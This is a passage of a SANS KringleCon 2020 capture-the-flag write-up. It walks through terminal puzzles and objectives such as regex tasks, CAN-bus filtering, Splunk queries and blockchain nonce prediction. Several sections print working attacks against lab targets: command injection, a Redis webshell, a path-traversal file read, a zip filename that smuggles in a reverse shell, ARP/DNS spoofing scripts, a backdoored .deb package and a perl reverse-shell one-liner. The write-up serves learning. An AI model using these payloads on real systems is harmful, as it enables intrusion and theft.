KringleCon 2020 Logo

TLDR;

For those that have never signed up or attempted the Xmas challenge before, the SANS institute asks a number of info-sec people (pentesters, red-teamers, blue-teamers, incident responders, soc analysts etc) to build creative challenges and related talks to encourage self learning and a little but of competetive fun Capture-The-Flage (CTF) during the xmas holidays.

You’re free to compete alone, or even team up. The exercises are ususally quite fun and you can end up developing some new skills.

More about the challenge can be found here:

If you fancy a go yourself, it may be too late to sumbit a write-up that could win on of the many SANS prizes on offer. But the SANS Team and their sponsors keep past challenges up for you to continue playing.

Three French Hens

hens

Contents

Terminal Challenges

Pepper Minstix - Unescape Tmux

$ tmux ls
0: 1 windows (created Thu Dec 10 14:43:26 2020) [80x24]
$ tmux attach -d -t 0

Shiny Upatree - Kringle Kiosk

Breakout - Choose Option 4, then as your name enter

;/bin/bash -i

Sugerplum Mary - Linux Primer

elf@219e0e273eaf:~$ ls
HELP  munchkin_19315479765589239  workshop
elf@219e0e273eaf:~$ cat munchkin_19315479765589239 
munchkin_24187022596776786
elf@219e0e273eaf:~$ rm munchkin_19315479765589239 
elf@219e0e273eaf:~$ pwd
/home/elf
elf@219e0e273eaf:~$ ls -la
total 56
drwxr-xr-x 1 elf  elf   4096 Dec 10 14:51 .
drwxr-xr-x 1 root root  4096 Dec  9 20:04 ..
-rw-r--r-- 1 elf  elf     31 Dec  9 20:07 .bash_history
-rw-r--r-- 1 elf  elf    220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 elf  elf   3105 Dec  5 00:00 .bashrc
-rw-r--r-- 1 elf  elf      0 Dec 10 14:51 .munchkin_5074624024543078
-rw-r--r-- 1 elf  elf    807 Apr  4  2018 .profile
-rw-r--r-- 1 elf  elf    168 Dec  5 00:00 HELP
drwxr-xr-x 1 elf  elf  20480 Dec  9 20:08 workshop
elf@219e0e273eaf:~$ history
    1  echo munchkin_9394554126440791
    2  ls
    3  cat munchkin_19315479765589239 
    4  rm munchkin_19315479765589239 
    5  pwd
    6  ls -la
    7  history
elf@219e0e273eaf:~$ 
$ env
:...
z_MUNCHKIN=munchkin_20249649541603754
LOCATION=15,13
RESOURCE_ID=72012b2f-5f75-4617-bd3f-94078de434bb
MAIL=/var/mail/elf
SHELL=/bin/bash
...
elf@219e0e273eaf:~$ cd workshop/
elf@219e0e273eaf:~/workshop$ grep -i munc -r *
toolbox_191.txt:mUnChKin.4056180441832623

Chmod 755 lolli*
./loll*
elf@219e0e273eaf:~/workshop$ ./lollipop_engine 
munchkin.898906189498077
elf@219e0e273eaf:~/workshop$ cd electrical/
elf@219e0e273eaf:~/workshop/electrical$ mv blown_fuse0 fuse0
elf@219e0e273eaf:~/workshop$ cd electrical/
elf@219e0e273eaf:~/workshop/electrical$ mv blown_fuse0 fuse0
elf@219e0e273eaf:~/workshop/electrical$ ln -s fuse0 fuse1
elf@219e0e273eaf:~/workshop/electrical$ cp fuse1 fuse2
elf@219e0e273eaf:~/workshop/electrical$ echo "MUNCHKIN_REPELLENT" >> fuse2
elf@219e0e273eaf:~/workshop/electrical$ find /opt/munchkin_den/ -user munchkin
/opt/munchkin_den/apps/showcase/src/main/resources/template/ajaxErrorContainers/niKhCnUm_9528909612014411
elf@219e0e273eaf:~/workshop/electrical$ find /opt/munchkin_den/ -type f -size 109k -exec ls {} \;
/opt/munchkin_den/plugins/portlet-mocks/src/test/java/org/apache/m_u_n_c_h_k_i_n_2579728047101724
elf@219e0e273eaf:~/workshop/electrical$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
init         1  0.0  0.0  65616 21184 pts/0    Ss+  14:50   0:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml
elf       9690  1.7  0.0  84336 25964 pts/2    S+   14:56   0:00 /usr/bin/python3 /14516_munchkin
elf      10101  0.0  0.0  36180  3156 pts/3    R+   14:56   0:00 ps aux
$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:54321           0.0.0.0:*               LISTEN 
elf@219e0e273eaf:~/workshop/electrical$ curl localhost:54321
$ kill -9 9690

Minty CandyCane - Sort o matic

Solutions:

1 [\d]{1} 
2 [A-Za-z]{3,} 
3 [a-z0-9]{2}
4 [^A-L1-5]{2}
5 ^[\d]{3,}$
6 ^(?:[01]?\d|2[0-3])(?::[0-5]\d){1,2}$
7 ^[a-fA-F0-9]{2}(:[a-fA-F0-9]{2}){5}$
8 ^(0?[1-9]|[12][0-9]|3[01])[\/\-\.](0[1-9]|1[012])[\/\-\.]\d{4}$

Wunrose Openslae - CAN-Bus Investigation

elf@1cf513c831ad:~$ cat candump.log |awk '{print $3}'|sort|uniq -c 
     35 188#00000000
      2 19B#000000000000 <-lock
      1 19B#00000F000000 <- unlock
      1 244#0000000012

grep 19B#00000F000000 candump.log
1608926671.122520) vcan0 19B#00000F000000

Answer: 122520

Busty Evergreen - Speaker Unprep

Door

Extract the password from running strings against the binary:

$ strings door
...
Be sure to finish the challenge in prod: And don't forget, the password is "Op3nTheD00r"
...

Executing the program and providing the password Op3nTheD00r opens the door, and you can enter a darkended room.

Lights

Hint: Encrypted password as username

Simply copy the encrypted password into the username field of the lights.conf file

password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
name: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124

Running the lights program - you get the password:

 >>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lab/lights.conf
---t to help figure out the password... I guess you'll just have to make do!
The terminal just blinks: Welcome back, Computer-TurnLightsOn

Computer-TurnLightsOn

Vending

Hint book cipher - keep iterating through the letters of alphabet until you get a match, then proceed to next character, eventually you can guess at the password

LVEdQPpBwr
CandyCane1

Our initial workings, on attempting to identfy the type of cipher in use:

Aaaaaaaaa 9Vbtacpg9
Bbbbbbbbb GUVBfWhPG
Ccccccccc L9ee6EERe
Abcdefghi 9UedAffhM

Holly Evergreen - Redis Bug Hunt

curl http://localhost/maintenance.php?cmd=flushall
curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html
curl http://localhost/maintenance.php?cmd=config,set,dbfilename,redis.php
curl http://localhost/maintenance.php?cmd=set,test,"<?php+system('cat+index.php');+?>"
curl http://localhost/maintenance.php?cmd=save
curl http://localhost/redis.php --output -

Fitzy Shortstack - 33.6kps (Modem)

First dial: 756-8347 Then select the modem sounds in the right order:

  • Baa dee brr
  • Ahh
  • Wewewewe
  • Bedurrdundityy
  • Schrr

Rib Bonboford - Elf game

Our Solutions:

1

Elf.moveLeft(10)
Elf.moveUp(11)

2

elf.moveLeft(6)
var sum = (elf.get_lever(0) + 2)
elf.pull_lever(sum)
elf.moveLeft(4)
elf.moveUp(12)

3

elf.moveTo(lollipop[0])
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[2])
elf.moveUp(1)

4

for (i = 0; i < 3; i++) {
  elf.moveLeft(3)
  elf.moveUp(40)
  elf.moveLeft(3)
  elf.moveDown(40)
}

5

elf.moveTo(lollipop[1])
elf.moveTo(munchkin[0])
var value = elf.ask_munch(0)
var answer = value.filter(elem => typeof elem === 'number')
elf.tell_munch(answer)
elf.moveUp(2)

6

for (i = 0; i < 4; i++) {
  elf.moveTo(lollipop[i]);
}
elf.moveTo(lever[0])
var value = elf.get_lever(0)
value.splice(0, 0, "munchkins rule");
elf.pull_lever(value)
elf.moveDown(4)
elf.moveLeft(6)
elf.moveUp(10)

Tangle Coalbox - Snowball fight

We found this handy gist post:

Methodology:

  • Use comment within impossible level pagesource to obtain 624 values to predict next nonce in sequence
  • Play an easy game with our predicted nonce
  • find enemy ships - being careful not to complete the game
  • Use this easy-map to defeat impossible level

Alabaster - Scapy Prepper

task.submit(send)
task.submit(sniff)
task.submit(1)
task.submit(rdpcap)
task.submit(2)
task.submit(UDP_PACKETS[0])
task.submit(TCP_PACKETS[1][TCP])

UDP_PACKETS[0][IP].src="127.0.0.1"
task.submit(UDP_PACKETS[1])

task.submit("echo")

task.submit(19524)
task.submit(3)
task.submit(IP(dst='127.127.127.127')/UDP(dport=5000))
task.submit(IP(dst='127.2.3.4')/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="elveslove.santa”)))

ARP_PACKETS[1].hwsrc='00:13:46:0b:22:ba'
ARP_PACKETS[1].hwdst='00:16:ce:6e:8b:24'
ARP_PACKETS[1].op=0x2
task.submit(ARP_PACKETS)

Objectives

Objective 1 - Uncover Santa’s Gift List

Difficulty: 1/5

There is a photo of Santa’s Desk on that billboard with his personal gift list. What gift is Santa planning on getting Josh Wright for the holidays? Talk to Jingle Ringford at the bottom of the mountain for advice.

Billboard: billboard Using gimp filters, to distort -> whirl and pinch the image to make it more readable: list

Gift list:

  • Ed - Two front teeth
  • ? - OU Jersey
  • Jermey - Blanket
  • Brian - ?
  • Josh - Proxmark
  • Clay - Darth Vader Suit
  • Tad - Holiday Lights
  • Phil - Stuffed Pikachu
  • Fry - Trip to North Pole

Answer:

Proxmark

Objective 2 - Investigate S3 Bucket

Difficulty: 1/5

When you unwrap the over-wrapped file, what text string is inside the package? Talk to Shinny Upatree in front of the castle for hints on this challenge.

elf@1e1a56d24f41:~/bucket_finder$ vi test
elf@1e1a56d24f41:~/bucket_finder$ ./bucket_finder.rb test           
http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
        <Public> http://s3.amazonaws.com/wrapper3000/package
vi goget2.sh
require 'open-uri'

File.open('package', "wb") do |file|
  file.write open('http://s3.amazonaws.com/wrapper3000/package').read
end
elf@1e1a56d24f41:~/bucket_finder$ ruby goget2
elf@1e1a56d24f41:~/bucket_finder$ cat package 
UEsDBAoAAAAAAIAwhFEbRT8anwEAAJ8BAAAcABwAcGFja2FnZS50eHQuWi54ei54eGQudGFyLmJ6MlVUCQADoBfKX6AX
yl91eAsAAQT2AQAABBQAAABCWmg5MUFZJlNZ2ktivwABHv+Q3hASgGSn//AvBxDwf/xe0gQAAAgwAVmkYRTKe1PVM9U0
ekMg2poAAAGgPUPUGqehhCMSgaBoAD1NNAAAAyEmJpR5QGg0bSPU/VA0eo9IaHqBkxw2YZK2NUASOegDIzwMXMHBCFAC
gIEvQ2Jrg8V50tDjh61Pt3Q8CmgpFFunc1Ipui+SqsYB04M/gWKKc0Vs2DXkzeJmiktINqjo3JjKAA4dLgLtPN15oADL
e80tnfLGXhIWaJMiEeSX992uxodRJ6EAzIFzqSbWtnNqCTEDML9AK7HHSzyyBYKwCFBVJh17T636a6YgyjX0eE0IsCbj
cBkRPgkKz6q0okb1sWicMaky2Mgsqw2nUm5ayPHUeIktnBIvkiUWxYEiRs5nFOM8MTk8SitV7lcxOKst2QedSxZ851ce
DQexsLsJ3C89Z/gQ6Xn6KBKqFsKyTkaqO+1FgmImtHKoJkMctd2B9JkcwvMr+hWIEcIQjAZGhSKYNPxHJFqJ3t32Vjgn
/OGdQJiIHv4u5IpwoSG0lsV+UEsBAh4DCgAAAAAAgDCEURtFPxqfAQAAnwEAABwAGAAAAAAAAAAAAKSBAAAAAHBhY2th
Z2UudHh0LloueHoueHhkLnRhci5iejJVVAUAA6AXyl91eAsAAQT2AQAABBQAAABQSwUGAAAAAAEAAQBiAAAA9QEAAAAA
elf@1e1a56d24f41:~/bucket_finder$ base64 -d package 
PK
...zip file...
elf@1e1a56d24f41:~/bucket_finder$ base64 -d package > package.zip

elf@1e1a56d24f41:~/bucket_finder$ unzip package.zip 
Archive:  package.zip
 extracting: package.txt.Z.xz.xxd.tar.bz2  

Bunzip2 -d package.txt.Z.xz.xxd.tar.bz2 
Tar -xf package.txt.Z.xz.xxd.tar.bz2 
~/bucket_finder$ cat package.txt.Z.xz.xxd|xxd -r > package.txt.Z.xz    
elf@1e1a56d24f41:~/bucket_finder$ unxz package.txt.Z.xz
elf@1e1a56d24f41:~/bucket_finder$ uncompress package.txt.Z

Answer:

elf@1e1a56d24f41:~/bucket_finder$ cat package.txt
North Pole: The Frostiest Place on Earth

North Pole: The Frostiest Place on Earth

Objective 3 - Point-of-Sale Password Recovery

Difficulty: 1/5

Help Sugarplum Mary in the Courtyard find the supervisor password for the point-of-sale terminal. What’s the password?

Hint:electron

Hint: find password

npm install -g asar
asar extract app.asar source
...omit path commands...

Answer:

grep pass main.js
santapass

santapass

References:https://medium.com/how-to-electron/how-to-get-source-code-of-any-electron-application-cbb5c7726c37

Objective 4 - Operate the Santavator

Difficulty: 1/5

Talk to Pepper Minstix in the entryway to get some hints about the Santavator.

Find the following items:

  • Red Bulb - talks lobby behng Chimney Scissorsticks
  • Green Bulb - Vendor area - next to Google stand
  • Yellow bulb - Netwars
  • Candystick - Outside Entrance
  • Portals - Vending Machine
  • Marbles - Wrapping room
  • 3.5 button - Speaker unprepardness room
  • hex nut - Kitchen (top end of table)

Then arrange the lift panel as follows: liftpanel

We appear to have not reliased where we obtained the following:

  • second marble
  • second hexnut

They might have been in the vending machine?

Objective 5 - Open HID Lock

Difficulty: 2/5

Open the HID lock in the Workshop. Talk to Bushy Evergreen near the talk tracks for hints on this challenge. You may also visit Fitzy Shortstack in the kitchen for tips.

Noel Boetie - Wrapping room has a proxmark on the floor

Steal some ids from elfs by standing next to an elf and issuing the proxmark command

pm3 --> lf hid read
#db# TAG ID: 2006e22ee1 (6000) - Format Len: 26 bit - FC: 113 - Card: 6000
Sparkle red berry
#db# TAG ID: 2006e22f0d (6022) - Format Len: 26 bit - FC: 113 - Card: 6022
Holly evergreen
#db# TAG ID: 2006e22f10 (6024) - Format Len: 26 bit - FC: 113 - Card: 6024
Bow nine candle
#db# TAG ID: 2006e22f0e (6023) - Format Len: 26 bit - FC: 113 - Card: 6023

Eventually we see a pattern and can start fuzzing card numbers

lf hid sim -w H10301 --fc 113 --cn 6023

6023

Objective 6 - Splunk Challenge (with Angel Candysalt)

Difficulty: 3/5

Access the Splunk terminal in the Great Room. What is the name of the adversary group that Santa feared would attack KringleCon?

1

| tstats count where index=* by index | search index=T*-win OR T*-main
| rex field=index "(?<technique>t\d+)[\.\-].0*" 
| stats dc(technique)

Unique =13

2

What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space)

Read them from

| tstats count where index=* by index 

t1059.003-main t1059.003-win

3

From hints read https://attack.mitre.org/techniques/T1112/

index=*win reg AND MachineGuid

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

4

index=attack OSTap 
| sort _time asc

Top row 2020-11-30T17:44:15Z

5

index=t1123* EventCode=1 AND NOT splunk cmdlet
| table _time,CommandLine, process_id

3648

  • https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1123/T1123.md
  • https://github.com/frgnca/AudioDeviceCmdlets

6

quser

  • https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat

7

index=* sourcetype=bro*

First one (most traffic)

  • 55FCEEBB21270D9249E86F4B9DC7AA60

The main question - Who does santa think is responsible:

The Lollipop Guild

Objective 7 - Solve the Sleigh’s CAN-D-BUS Problem

Difficulty: 3/5

Jack Frost is somehow inserting malicious messages onto the sleigh’s CAN-D bus. We need you to exclude the malicious messages and no others to fix the sleigh. Visit the NetWars room on the roof and talk to Wunorse Openslae for hints.

Our notes:

Lock   9B#000000000000
Unlock 9B#00000F000000
Stop   02A#0000FF
Start  02A#00FF00
Accel  244
Brake  080
Steer  19

Therefore, to filter out the bad commands all we need is:

19b equals 0000000f2057
080 contains ffff

objective 7

Objective 8 - Broken Tag Generator

Difficulty: 4/5

Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ? Talk to Holly Evergreen in the kitchen for help with this.

So basically find a Local File Includes (LFI) vulnerablility and read sourcecode of application

LFI:

  • curl https://tag-generator.kringlecastle.com/image\?id=../../../app/lib/app.rb

Source:

# encoding: ASCII-8BIT

TMP_FOLDER = '/tmp'
FINAL_FOLDER = '/tmp'

# Don't put the uploads in the application folder
Dir.chdir TMP_FOLDER

require 'rubygems'

require 'json'
require 'sinatra'
require 'sinatra/base'
require 'singlogger'
require 'securerandom'

require 'zip'
require 'sinatra/cookies'
require 'cgi'

require 'digest/sha1'

LOGGER = ::SingLogger.instance()

MAX_SIZE = 1024**2*5 # 5mb

# Manually escaping is annoying, but Sinatra is lightweight and doesn't have
# stuff like this built in :(
def h(html)
  CGI.escapeHTML html
end

def handle_zip(filename)
  LOGGER.debug("Processing #{ filename } as a zip")
  out_files = []

  Zip::File.open(filename) do |zip_file|
    # Handle entries one by one
    zip_file.each do |entry|
      LOGGER.debug("Extracting #{entry.name}")

      if entry.size > MAX_SIZE
        raise 'File too large when extracted'
      end

      if entry.name().end_with?('zip')
        raise 'Nested zip files are not supported!'
      end

      # I wonder what this will do? --Jack
      # if entry.name !~ /^[a-zA-Z0-9._-]+$/
      #   raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
      # end

      # We want to extract into TMP_FOLDER
      out_file = "#{ TMP_FOLDER }/#{ entry.name }"

      # Extract to file or directory based on name in the archive
      entry.extract(out_file) {
        # If the file exists, simply overwrite
        true
      }

      # Process it
      out_files << process_file(out_file)
    end
  end

  return out_files
end

def handle_image(filename)
  out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}"
  out_path = "#{ FINAL_FOLDER }/#{ out_filename }"

  # Resize and compress in the background
  Thread.new do
    if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
      LOGGER.error("Something went wrong with file conversion: #{ filename }")
    else
      LOGGER.debug("File successfully converted: #{ filename }")
    end
  end

  # Return just the filename - we can figure that out later
  return out_filename
end

def process_file(filename)
  out_files = []

  if filename.downcase.end_with?('zip')
    # Append the list returned by handle_zip
    out_files += handle_zip(filename)
  elsif filename.downcase.end_with?('jpg') || filename.downcase.end_with?('jpeg') || filename.downcase.end_with?('png')
    # Append the name returned by handle_image
    out_files << handle_image(filename)
  else
    raise "Unsupported file type: #{ filename }"
  end

  return out_files
end

def process_files(files)
  return files.map { |f| process_file(f) }.flatten()
end

module TagGenerator
  class Server < Sinatra::Base
    helpers Sinatra::Cookies

    def initialize(*args)
      super(*args)
    end

    configure do
      if(defined?(PARAMS))
        set :port, PARAMS[:port]
        set :bind, PARAMS[:host]
      end

      set :raise_errors, false
      set :show_exceptions, false
    end

    error do
      return 501, erb(:error, :locals => { message: "Error in #{ __FILE__ }: #{ h(env['sinatra.error'].message) }" })
    end

    not_found do
      return 404, erb(:error, :locals => { message: "Error in #{ __FILE__ }: Route not found" })
    end

    get '/' do
      erb(:index)
    end

    post '/upload' do
      images = []
      images += process_files(params['my_file'].map { |p| p['tempfile'].path })
      images.sort!()
      images.uniq!()

      content_type :json
      images.to_json
    end

    get '/clear' do
      cookies.delete(:images)

      redirect '/'
    end

    get '/image' do
      if !params['id']
        raise 'ID is missing!'
      end

      # Validation is boring! --Jack
      # if params['id'] !~ /^[a-zA-Z0-9._-]+$/
      #   return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen'
      # end

      content_type 'image/jpeg'

      filename = "#{ FINAL_FOLDER }/#{ params['id'] }"

      if File.exists?(filename)
        return File.read(filename)
      else
        return 404, "Image not found!"
      end
    end

    get '/share' do
      if !params['id']
        raise 'ID is missing!'
      end

      filename = "#{ FINAL_FOLDER }/#{ params['id'] }.png"

      if File.exists?(filename)
        erb(:share, :locals => { id: params['id'] })
      else
        return 404, "Image not found!"
      end
    end

    post '/save' do
      payload = params
      payload = JSON.parse(request.body.read)

      data_url = payload['dataURL']
      png = Base64.decode64(data_url['data:image/png;base64,'.length .. -1])

      out_hash = Digest::SHA1.hexdigest png
      out_filename = "#{ out_hash }.png"
      out_path = "#{ FINAL_FOLDER }/#{ out_filename }"
      
      LOGGER.debug("output: #{out_path}")
      File.open(out_path, 'wb') { |f| f.write(png) }
      { id: out_hash }.to_json
    end
  end
end

Easy - obtain ENV from the LFI

curl https://tag-generator.kringlecastle.com/image\?id\=../../..//proc/self/environ --output -
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=3acd3f464d04RUBY_MAJOR=2.7RUBY_VERSION=2.7.0RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343GEM_HOME=/usr/local/bundleBUNDLE_SILENCE_ROOT_WARNING=1BUNDLE_APP_CONFIG=/usr/local/bundleAPP_HOME=/appPORT=4141HOST=0.0.0.0GREETZ=JackFrostWasHereHOME=/home/app%  
  • GREETZ=JackFrostWasHere

Reference: https://www.nccgroup.com/globalassets/our-research/us/whitepapers/AnatomyOfRailsVuln-CVE-2014-0130.pdf

Slightly Harder - RCE

Abuse the system line in the code

Generate am exploit filename and zip it up as follows:

#!/usr/bin/env python3 
import zipfile 
def build_zip(): 
  with zipfile.ZipFile('file_upload.zip', 'w') as myzip: 
    myzip.writestr("'; echo -n '<base64 encoded nc reverse shell on port 80>' | base64 -d | xargs -i -t sh -c '{}' ; 'a.jpg", 'r00t') 

build_zip()

Then upload the exploit zipfile, and wait the reverse shell!

Get a proper TTY shell via

python -c 'import pty; pty.spawn("/bin/sh")'
id
uid=1000(app) gid=1000(app) groups=1000(app)

Objective 9 - ARP Shenanigans

Difficulty: 4/5

Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?

Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access it. Try sniffing the eth0 interface using tcpdump -nni eth0 to see if you can view any traffic from that host.

Our recon:

10.6.6.35 4c:24:57:ab:ed:84
10.6.6.53  fa:34:41:59:86:52
10.6.0.1.   02:42:73:35:7b:4a

Simple ARP Poison

send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip))
send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip))
send(ARP(op=2, pdst="10.6.6.53",hwdst="fa:34:41:59:86:52",psrc="10.6.6.35”))
send(ARP(op=2, pdst="10.6.6.35",hwdst="4c:24:57:ab:ed:84",psrc="10.6.6.53”))

See the following DNS request: ftp.osuosl.org

DNS Poisoning

/home/guest/scripts

#!/usr/bin/python3                                                                                                                                            
from scapy.all import *   
import netifaces as ni                        
import uuid                                                                                                                                                   
                                                                                                                                                              
# Our eth0 IP                                                                                                                                                 
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']                                                                                                   
# Our Mac Addr                                                                                                                                                
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) 
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"

def handle_dns_request(packet):                                                                       
    eth = Ether(src=packet.dst, dst=packet.src)                                                    
    ip  = IP(dst="10.6.6.35", src="10.6.6.53")                      
    udp = UDP(dport=packet.sport,sport=packet.dport)                           
    dns = DNS(                
        qr=1,         
        aa=1,                     
        id=packet[DNS].id,                                                                                             
        qd=packet[DNS].qd,                                                                                                                    
        an=DNSRR(               
            ttl=60,                                                                                                         
            rdata=ipaddr,                                                                                                     
            rrname="ftp.osuosl.org",                                                                                  
        ),  
    )
    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")
def main():
    berkeley_packet_filter = " and ".join( [
        "udp dst port 53",                              # dns
        "udp[10] & 0x80 = 0",                           # dns request
        "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our real ip)
        "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to our mac
    ] )
    # sniff the eth0 int without storing packets in memory and stopping after one dns request
    sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=10)
if __name__ == "__main__":
    main()

Run a http server

python -m http.server 80

See request for /pub/jfrost/backdoor/suriv_amd64.deb

mkdir pub/jfrost/backdoor/
cd pub/jfrost/backdoor/
cp ~/debs/nano*deb ./
ar x nano*deb
dpkg -x nano*.deb work
mkdir  -p work/DEBIAN
tar -xJf control.tar.xz
cp control work/DEBIAN
cp postinstall work/DEBIAN
[install backdoor in postinstall]
dpkg-deb --build work
mv work.deb suriv_amd64.deb

See tutorial: https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan/

Reverse shell oneliners: Github swisskyrepo PayloadsAllTheThings

Reverse shell choice:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.6.0.2:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

As perl is typically availble on all debian systems

launch our listener, and cat the file:

nc -v -l =-p 4242
cat /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt

Answer:

Tanta Kringle

Objective 10 - Defeat Fingerprint Sensor

Difficulty: 3/5

Bypass the Santavator fingerprint sensor. Enter Santa’s office without Santa’s fingerprint.

Using the developer tools of chrome, we can see as santa we have the following token within the Application’s local storage:

 token=["besanta"]

santa

Navigating back through the painting in the “Entry” / entrance we can become ourself again, opening the elevator panel in the lift and opening the developer console we can issue the following command:

  • tokens.push(“besanta”)

A successful command should return the number ‘12’ (size of the tokens array), if you get an error, log out, and back in again and try again.

Objective 11a - Naughty/Nice List with Blockchain Investigation Part 1

Difficulty: 4/5

Even though the chunk of the blockchain that you have ends with block 129996, can you predict the nonce for block 130000? Talk to Tangle Coalbox in the Speaker UNpreparedness Room for tips on prediction and Tinsel Upatree for more tips and tools. (Enter just the 16-character hex value of the nonce)

This was very much like the snowball game

Hints: https://www.youtube.com/watch?v=reKsZ8E44vw

Best program we found:

We dumped the 1548 nonce values to screen then dumped them into a file called nonces.txt

    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
    c2 = Chain(load=True, filename='block2.dat')
    print('C2: Block chain verify: %s' % (c2.verify_chain(official_public_key)))
    print("-----loading score-----s")
    for j in range(1548):
        print(c2.blocks[j].nonce)

Then ran mersenne-twister-predictor

docker run --rm -v /tmp/OfficialNaughtyNiceBlockchainEducationPack:/usr/src/app -ti naughty-nice-blockchain
root@c219914a9c72:/usr/src/app# pip install mersenne-twister-predictor
Collecting mersenne-twister-predictor
  Downloading mersenne_twister_predictor-0.0.4-py3-none-any.whl (4.2 kB)
Installing collected packages: mersenne-twister-predictor
Successfully installed mersenne-twister-predictor-0.0.4
WARNING: You are using pip version 20.3.1; however, version 20.3.3 is available.
You should consider upgrading via the '/usr/local/bin/python -m pip install --upgrade pip' command.
root@c219914a9c72:/usr/src/app# python3
Python 3.9.1 (default, Dec 12 2020, 13:15:12) 
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from mt19937predictor import MT19937Predictor
>>> predictor = MT19937Predictor()
>>> with open('nonces.txt') as f:
...   lines = [ line.strip() for line in f ]
... 
>>> for i in range(1548):
...   predictor.setrandbits(int(lines[i]), 64)
... 
>>> predictor.getrandbits(64)
13205885317093879758
>>> predictor.getrandbits(64)
109892600914328301
>>> predictor.getrandbits(64)
9533956617156166628
>>> predictor.getrandbits(64)
6270808489970332317

Convert the next nonce 6270808489970332317 to hexidecimal to win:

57066318F32F729D

Objective 11b - Naughty/Nice List with Blockchain Investigation Part 2

Difficulty: 5/5

The SHA256 of Jack’s altered block is: 58a3b9335a6ceb0234c12d35a0564c4e f0e90152d0eb2ce2082383b38028a90f. If you’re clever, you can recreate the original version of that block by changing the values of only 4 bytes. Once you’ve recreated the original block, what is the SHA256 of that block?

This wasnt all that hard, once you eliminated a large amount of misinformation:

Key slides/ information to focus on:

  • https://speakerdeck.com/ange/colltris?slide=109
  • https://speakerdeck.com/ange/colltris?slide=194

It’s easy to identify Jacks Block

  • His Person ID stands out as 7777
  • He has the only score of 0xffffff

Therefore, the two bytes we need to change in Jack’s block are:

  • byte 1 - naughty nice flag
  • byte 2 - page refernece number « /Type/Catalog/_Go_Away/Santa/Pages 2 0 R

But then we need to change some corresponding bytes in the next 64byte block for the Uncoll collision to keep the same md5 signature:

  • Byte 3 - corresponding byte in next block
  • Byte 4 - corresponding byte in next block

Extracting and modifying the page reference in the pdf, meant we could use an online reader to retrieve the original document. However this failed in any proper pdf reader like Adobe?, using an online reader we can retrieve the original document:

Note: Docfly deletes documents after 24 hrs

Using a hex editor we modified the necessary bytes, then modified the naughty and nice python program to display the hashes we need

Address 0x49 (+1) and 0x89 (-1)

00000000: 3030 3030 3030 3030 3030 3031 6639 6233  000000000001f9b3
00000010: 6139 3434 3765 3537 3731 6337 3034 6634  a9447e5771c704f4
00000020: 3030 3030 3030 3030 3030 3031 3266 6431  0000000000012fd1
00000030: 3030 3030 3030 3030 3030 3030 3032 3066  000000000000020f
00000040: 3266 6666 6666 6666 6631 6666 3030 3030  2ffffffff1ff0000
00000050: 3030 3663 ea46 5340 303a 6079 d3df 2762  006c.FS@0:`y..'b
00000060: be68 467c 27f0 46d3 a7ff 4e92 dfe1 def7  .hF|'.F...N.....
00000070: 407f 2a7b 73e1 b759 b8b9 1945 1e37 518d  @.*{s..Y...E.7Q.
00000080: 22d9 8729 6fcb 0f18 8dd6 0388 bf20 350f  "..)o........ 5.

Addresses 0x109 (-1) and 0x1409 (+1)

00000100: 7461 2f50 6167 6573 2032 2030 2052 2020  ta/Pages 2 0 R  
00000110: 2020 2020 30f9 d9bf 578e 3caa e50d 788f      0...W.<...x.
00000120: e760 f31d 64af aa1e a1f2 a13d 6375 3e1a  .`..d......=cu>.
00000130: a5bf 8062 4fc3 46bf d667 caf7 4995 91c4  ...bO.F..g..I...
00000140: 0201 edab 03b9 ef95 991c 5b49 9f86 dc85  ..........[I....

Modifting th ebottom of naughty_nice.py:

